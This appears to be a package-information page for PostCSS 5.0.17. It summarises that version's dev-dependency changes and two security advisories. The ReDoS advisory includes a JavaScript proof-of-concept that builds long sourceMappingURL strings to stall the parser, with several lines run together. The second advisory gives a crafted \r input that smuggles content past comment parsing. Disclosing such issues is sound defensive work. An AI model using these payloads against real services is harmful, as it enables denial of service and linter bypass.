PostCSS saw a minor update from version 5.0.16 to 5.0.17, primarily affecting its development dependencies. For developers using PostCSS, the core functionality and dependencies like js-base64, source-map, and supports-color remained consistent across both versions, ensuring a seamless transition. The key changes reside within the developer toolchain, potentially impacting contributors or those extending PostCSS.
The update includes a few changes with the dev dependencies, most notably, a bump in strip-ansi from version 3.0.0 to 3.0.1 and eslint from 2.0.0 to 2.2.0. Additionally, babel-eslint received an update, shifting from version 5.0.0-beta10 to the stable 5.0.0. These updates mainly improve the linting and build processes. A new dev dependency, babel-plugin-precompile-charcodes at version 1.0.0, was added, likely contributing to performance enhancements during development builds by precompiling character codes. While end-users of PostCSS may not directly notice these changes, developers working on the PostCSS codebase or creating custom plugins could benefit from the refined development environment and updated tooling, leading to a potentially smoother and more efficient development experience. The other dev dependencies remained untouched, such as gulp, mocha, chai, babel-core, and others.
All the vulnerabilities related to the version 5.0.17 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.